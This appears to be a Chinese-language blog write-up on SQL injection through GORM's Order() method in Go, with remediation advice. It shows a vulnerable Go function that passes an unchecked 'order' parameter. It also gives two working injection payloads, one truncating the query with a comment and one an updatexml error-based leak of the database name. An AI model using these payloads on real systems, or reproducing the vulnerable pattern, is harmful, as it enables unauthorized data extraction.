gorm OrderBy注入

作者:
淡白
创建时间:
2022-03-15 15:40:41
Go MySQL gorm sql

摘要:在上述代码中,存在一个安全隐患:`order` 参数没有经过校验,可能导致 SQL 注入攻击。尽管 GORM 已经有一定的防注入措施,但仍存在一些方法没有转义。在不进行参数校验的情况下,攻击者可以构造恶意的 `order` 参数来执行危险的 SQL 查询。 一个示例是通过构造 `order` 参数来爆出符合条件的所有数据。攻击者可以构造 `order` 参数为 `id;--`,从而将原本的 SQL 查询改为查询所有数据的语句。 另一个示例是通过构造 `order` 参数来执行 `updatexml` 函数,从而进行更多的信息泄露。攻击者可以构造 `order` 参数为 `updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)`,从而执行该函数并通过错误回显获取数据库的信息。 为了避免这些安全隐患,建议在使用前对参数进行校验。可以使用合适的正则表达式或者白名单来限制 `order` 参数的值,确保其只包含被允许的字符和语法。此外,还可以对输入的参数进行转义或者使用参数绑定的方式来构建 SQL 查询,防止注入攻击的发生。 通过对参数进行校验和处理,可以有效提升系统的安全性,防止 SQL 注入攻击。

环境代码

有时为了方便前端排序可能会将order作为参数传入,这是不安全的。

虽然gorm有防注入但还是有些方法是没有转义的。 gorm不安全的方法

func TestGetList(pageNum, pageSize int, order string) []modle.Test {
	if pageSize == 0 {
		pageSize = 20
	}
	if pageNum == 0 {
		pageNum = 1
	}
	begin := db.GetDB()
	tests := make([]modle.Test, 0)
	err := begin.Model(&modle.Test{}).Order(order).Offset((pageNum - 1) * pageSize).Limit(pageSize).Find(&tests).Error
	if err != nil {
		log.Println(err.Error())
	}

	return tests
}

爆出符合条件的所有数据

请求:

{
    "order":"id;-- "
}

执行sql

SELECT * FROM `test` ORDER BY id;--  LIMIT 20

返回:符合条件的所有数据

updatexml

如果有报错回显的话还可能造成更多泄露 请求:

{
    "order":"updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)"
}

日志:

Error 1105: XPATH syntax error: '~test~'

建议

在使用前校验参数